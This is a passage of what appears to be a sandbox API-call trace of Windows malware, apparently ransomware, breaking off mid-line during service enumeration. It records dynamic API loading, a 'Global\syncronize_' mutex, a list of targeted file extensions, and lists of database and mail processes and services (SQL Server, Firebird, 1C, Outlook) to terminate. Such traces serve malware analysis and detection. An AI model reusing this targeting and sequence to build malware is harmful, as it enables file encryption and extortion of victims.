0x74c13780 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="CreateMutexW") returned 0x74c3eb70 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="lstrlenW") returned 0x74be6c70 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="lstrlenA") returned 0x74be6c50 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="GetCurrentProcess") returned 0x74c3ea10 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="WaitForSingleObject") returned 0x74c3eca0 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="GetLogicalDrives") returned 0x74be0d20 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="GetTickCount") returned 0x74c3dd50 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="DeleteFileW") returned 0x74c3ed40 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="WideCharToMultiByte") returned 0x74be6b10 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x74c3ebb0 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="Sleep") returned 0x74be6760 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="LeaveCriticalSection") returned 0x775cb250 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="ReadFile") returned 0x74c3f090 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="CreateFileW") returned 0x74c3ed10 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="OpenMutexW") returned 0x74c3ebf0 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="EnterCriticalSection") returned 0x775cb2d0 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="WaitForMultipleObjects") returned 0x74c3ec80 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="lstrcmpiW") returned 0x74be6bf0 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="lstrcmpiA") returned 0x74be6bd0 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="DeleteCriticalSection") returned 0x775afb90 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="ReleaseMutex") returned 0x74c3ec20 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="CloseHandle") returned 0x74c3eab0 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="GetVersion") returned 0x74be56c0 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="CreateThread") returned 0x74be46b0 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="ExpandEnvironmentStringsW") returned 0x74be4a40 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="QueryPerformanceCounter") returned 0x74be5da0 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="QueryPerformanceFrequency") returned 0x74be5dc0 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="GetCurrentProcessId") returned 0x74c3ea20 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="SetFileAttributesW") returned 0x74c3f100 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="GetVolumeInformationW") returned 0x74c3f020 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="WriteFile") returned 0x74c3f180 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="SetFilePointerEx") returned 0x74c3f130 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="SetEndOfFile") returned 0x74c3f0e0 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="FindFirstFileW") returned 0x74c3edf0 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="GetProcessHeap") returned 0x74be51f0 [0171.298] GetProcAddress (hModule=0x74bd0000, lpProcName="HeapReAlloc") returned 0x775bf630 [0171.299] GetProcAddress (hModule=0x74bd0000, lpProcName="HeapAlloc") returned 0x775c2dc0 [0171.299] GetProcAddress (hModule=0x74bd0000, lpProcName="HeapFree") returned 0x74be57f0 [0171.299] GetProcAddress (hModule=0x74bd0000, lpProcName="CreatePipe") returned 0x74be4590 [0171.299] GetProcAddress (hModule=0x74bd0000, lpProcName="SetHandleInformation") returned 0x74c3eae0 [0171.299] GetProcAddress (hModule=0x74bd0000, lpProcName="CreateProcessW") returned 0x74be4610 [0171.299] GetProcAddress (hModule=0x74bd0000, lpProcName="CompareStringW") returned 0x74be4430 [0171.299] GetProcAddress (hModule=0x74bd0000, lpProcName="CompareStringA") returned 0x74be4410 [0171.299] GetProcAddress (hModule=0x74bd0000, lpProcName="OpenProcess") returned 0x74be5cc0 [0171.299] GetProcAddress (hModule=0x74bd0000, lpProcName="TerminateProcess") returned 0x74be67e0 [0171.299] GetProcAddress (hModule=0x74bd0000, lpProcName="GetSystemTime") returned 0x74be54e0 [0171.299] GetProcAddress (hModule=0x74bd0000, lpProcName="SystemTimeToFileTime") returned 0x74be67a0 [0171.299] GetProcAddress (hModule=0x74bd0000, lpProcName="GetLastError") returned 0x74be5010 [0171.299] GetProcAddress (hModule=0x74bd0000, lpProcName="CreateToolhelp32Snapshot") returned 0x74c1edc0 [0171.299] GetProcAddress (hModule=0x74bd0000, lpProcName="Process32NextW") returned 0x74c1f8f0 [0171.299] GetProcAddress (hModule=0x74bd0000, lpProcName="Process32FirstW") returned 0x74c1f750 [0171.299] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74b20000 [0171.676] GetProcAddress (hModule=0x74b20000, lpProcName="RegOpenKeyExW") returned 0x74b3e580 [0171.677] GetProcAddress (hModule=0x74b20000, lpProcName="RegQueryValueExW") returned 0x74b3e5a0 [0171.677] GetProcAddress (hModule=0x74b20000, lpProcName="RegSetValueExW") returned 0x74b3f530 [0171.677] GetProcAddress (hModule=0x74b20000, lpProcName="RegCloseKey") returned 0x74b3ed60 [0171.677] GetProcAddress (hModule=0x74b20000, lpProcName="OpenProcessToken") returned 0x74b3efb0 [0171.677] GetProcAddress (hModule=0x74b20000, lpProcName="GetTokenInformation") returned 0x74b3ee90 [0171.677] GetProcAddress (hModule=0x74b20000, lpProcName="OpenSCManagerW") returned 0x74b40540 [0171.677] GetProcAddress (hModule=0x74b20000, lpProcName="OpenServiceW") returned 0x74b3fa20 [0171.677] GetProcAddress (hModule=0x74b20000, lpProcName="CloseServiceHandle") returned 0x74b3fc00 [0171.677] GetProcAddress (hModule=0x74b20000, lpProcName="ControlService") returned 0x74b526d0 [0171.677] GetProcAddress (hModule=0x74b20000, lpProcName="QueryServiceStatus") returned 0x74b42380 [0171.677] GetProcAddress (hModule=0x74b20000, lpProcName="EnumDependentServicesW") returned 0x74b52f70 [0171.677] GetProcAddress (hModule=0x74b20000, lpProcName="EnumServicesStatusExW") returned 0x74b3fc80 [0171.677] LoadLibraryA (lpLibFileName="user32.dll") returned 0x741f0000 [0172.117] GetProcAddress (hModule=0x741f0000, lpProcName="SystemParametersInfoW") returned 0x7421f210 [0172.117] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75580000 [0173.159] GetProcAddress (hModule=0x75580000, lpProcName="ShellExecuteExW") returned 0x756e4730 [0173.159] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77580000 [0173.159] GetProcAddress (hModule=0x77580000, lpProcName="NtQuerySystemInformation") returned 0x775f2070 [0173.159] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73f80000 [0173.209] GetProcAddress (hModule=0x73f80000, lpProcName="WNetCloseEnum") returned 0x73f82640 [0173.209] GetProcAddress (hModule=0x73f80000, lpProcName="WNetOpenEnumW") returned 0x73f82790 [0173.209] GetProcAddress (hModule=0x73f80000, lpProcName="WNetEnumResourceW") returned 0x73f82410 [0173.209] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x773c0000 [0173.227] GetProcAddress (hModule=0x773c0000, lpProcName="WSAStartup") returned 0x773c5b40 [0173.227] GetProcAddress (hModule=0x773c0000, lpProcName="socket") returned 0x773d4510 [0173.227] GetProcAddress (hModule=0x773c0000, lpProcName="send") returned 0x773c5030 [0173.227] GetProcAddress (hModule=0x773c0000, lpProcName="recv") returned 0x773d0c50 [0173.227] GetProcAddress (hModule=0x773c0000, lpProcName="connect") returned 0x773c5410 [0173.227] GetProcAddress (hModule=0x773c0000, lpProcName="closesocket") returned 0x773d0910 [0173.228] GetProcAddress (hModule=0x773c0000, lpProcName="gethostbyname") returned 0x773f6cb0 [0173.228] GetProcAddress (hModule=0x773c0000, lpProcName="inet_addr") returned 0x773d9160 [0173.228] GetProcAddress (hModule=0x773c0000, lpProcName="ntohl") returned 0x773c49d0 [0173.228] GetProcAddress (hModule=0x773c0000, lpProcName="htonl") returned 0x773c49d0 [0173.228] GetProcAddress (hModule=0x773c0000, lpProcName="htons") returned 0x773d8ff0 [0173.228] GetProcessHeap () returned 0x420000 [0173.228] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x20) returned 0x42af30 [0173.228] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=6148844319) returned 1 [0173.228] GetTickCount () returned 0x113988d [0173.228] GetCurrentProcessId () returned 0xdf0 [0173.230] GetTickCount () returned 0x113988d [0173.230] GetTickCount () returned 0x113988d [0173.230] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x20) returned 0x42afa8 [0173.230] GetVersion () returned 0x23f00206 [0173.230] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x7) returned 0x436ff0 [0173.230] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x438088 [0173.230] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x438088, Size=0x20) returned 0x42afd0 [0173.230] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x42afd0, Size=0x40) returned 0x437a60 [0173.230] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x43d6b0 [0173.231] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_E0Y279A") returned 0x0 [0173.231] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_E0Y279A") returned 0x1ec [0173.231] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x436ff0 | out: hHeap=0x420000) returned 1 [0173.231] lstrlenW (lpString="Global\\syncronize_") returned 18 [0173.231] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x437a60 | out: hHeap=0x420000) returned 1 [0173.231] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x7) returned 0x436f70 [0173.231] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x437ff8 [0173.231] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437ff8, Size=0x20) returned 0x42afd0 [0173.231] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x42afd0, Size=0x40) returned 0x437508 [0173.231] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x44d6b8 [0173.231] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_E0Y279U") returned 0x0 [0173.231] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_E0Y279U") returned 0x1f0 [0173.231] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x436f70 | out: hHeap=0x420000) returned 1 [0173.231] lstrlenW (lpString="Global\\syncronize_") returned 18 [0173.231] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x437508 | out: hHeap=0x420000) returned 1 [0173.231] GetVersion () returned 0x23f00206 [0173.231] GetCurrentProcess () returned 0xffffffff [0173.232] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0173.232] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0173.232] CloseHandle (hObject=0x1f4) returned 1 [0173.232] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x14) returned 0x436480 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x437ff8 [0173.232] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437ff8, Size=0x20) returned 0x42afd0 [0173.232] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x42afd0, Size=0x40) returned 0x437aa8 [0173.232] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437aa8, Size=0x80) returned 0x427048 [0173.232] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x427048, Size=0x100) returned 0x437d30 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x34) returned 0x43a840 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x436f60 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x436f70 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x436f80 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x437ff8 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x436fb0 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x438148 [0173.232] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436fb0, Size=0x8) returned 0x436ff0 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x437ed8 [0173.232] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436ff0, Size=0x10) returned 0x438040 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x438058 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x438088 [0173.232] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x438040, Size=0x20) returned 0x42afd0 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x438040 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4380a0 [0173.232] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436f60, Size=0x8) returned 0x436fb0 [0173.232] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436f70, Size=0x8) returned 0x436ff0 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x436e60 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x437ea8 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x436f60 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x437ef0 [0173.232] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436f60, Size=0x8) returned 0x436e70 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4381a8 [0173.232] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436e70, Size=0x10) returned 0x438250 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x438190 [0173.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x436f60 [0173.233] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x438250, Size=0x20) returned 0x45d948 [0173.233] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436fb0, Size=0x10) returned 0x438250 [0173.233] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436ff0, Size=0x10) returned 0x4381d8 [0173.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x436fb0 [0173.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4381f0 [0173.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x436e70 [0173.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x438208 [0173.233] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436e70, Size=0x8) returned 0x436f70 [0173.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x436ff0 [0173.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4381c0 [0173.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x436e70 [0173.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x438220 [0173.233] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x436e70, Size=0x8) returned 0x45df38 [0173.233] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x438250, Size=0x20) returned 0x45dbc8 [0173.233] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4381d8, Size=0x20) returned 0x45d8a8 [0173.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45e058 [0173.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4381d8 [0173.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x45df48 [0173.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x438238 [0173.233] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45df48, Size=0x8) returned 0x45df08 [0173.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x14) returned 0x436160 [0173.233] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x14) returned 0x436380 [0173.233] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0173.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x437d30 | out: hHeap=0x420000) returned 1 [0173.234] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0173.238] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x438250 [0173.238] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x438250, Size=0x20) returned 0x45da38 [0173.238] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45da38, Size=0x40) returned 0x437aa8 [0173.238] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437aa8, Size=0x80) returned 0x437d98 [0173.238] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437d98, Size=0x100) returned 0x438268 [0173.238] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x438250 [0173.238] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x438250, Size=0x20) returned 0x45d8f8 [0173.238] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d8f8, Size=0x40) returned 0x437868 [0173.238] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437868, Size=0x80) returned 0x437d98 [0173.238] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437d98, Size=0x100) returned 0x4629c0 [0173.238] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x438250 [0173.238] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x45def8 [0173.238] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462b40 [0173.238] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45def8, Size=0x8) returned 0x45e0c8 [0173.238] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x14) returned 0x4361e0 [0173.238] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e0c8, Size=0x10) returned 0x462c78 [0173.238] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x18) returned 0x436220 [0173.238] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1a) returned 0x45d790 [0173.238] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462c78, Size=0x20) returned 0x45db28 [0173.238] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c) returned 0x45d8d0 [0173.239] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x16) returned 0x436240 [0173.239] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1a) returned 0x45da10 [0173.239] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x462d80 [0173.239] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x45e028 [0173.239] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x40) returned 0x437a60 [0173.239] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e028, Size=0x8) returned 0x45e0a8 [0173.239] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x3c) returned 0x437aa8 [0173.239] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e0a8, Size=0x10) returned 0x462c48 [0173.239] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x14) returned 0x4362a0 [0173.239] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x18) returned 0x4361a0 [0173.239] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462c48, Size=0x20) returned 0x45d808 [0173.239] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x24) returned 0x436b90 [0173.239] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0173.239] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x438268 | out: hHeap=0x420000) returned 1 [0173.239] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0173.239] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4629c0 | out: hHeap=0x420000) returned 1 [0173.239] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45d8f8 [0173.296] EnumServicesStatusExW (in: hSCManager=0x45d8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0173.300] GetLastError () returned 0xea [0173.300] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bb2) returned 0x464b70 [0173.300] EnumServicesStatusExW (in: hSCManager=0x45d8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x464b70, cbBufSize=0x1bb2, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x464b70, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0173.301] CloseServiceHandle (hSCObject=0x45d8f8) returned 1 [0173.302] lstrlenW (lpString="AppXSvc") returned 7 [0173.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0173.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0173.330] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0173.330] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0173.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0173.330] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0173.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.330] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0173.330] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0173.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0173.330] lstrlenW (lpString="Audiosrv") returned 8 [0173.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0173.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0173.331] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0173.331] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0173.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0173.331] lstrlenW (lpString="BFE") returned 3 [0173.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0173.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0173.331] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0173.331] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0173.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0173.331] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0173.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0173.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0173.331] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0173.331] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0173.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0173.331] lstrlenW (lpString="CDPSvc") returned 6 [0173.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0173.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0173.331] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0173.331] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0173.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0173.331] lstrlenW (lpString="ClickToRunSvc") returned 13 [0173.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0173.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0173.331] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0173.331] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0173.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0173.331] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0173.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0173.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0173.332] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0173.332] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0173.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0173.332] lstrlenW (lpString="CryptSvc") returned 8 [0173.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0173.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0173.332] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0173.332] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0173.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0173.332] lstrlenW (lpString="DcomLaunch") returned 10 [0173.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0173.332] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0173.332] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0173.332] lstrcmpiW (lpString1="sqlserveradhelper", 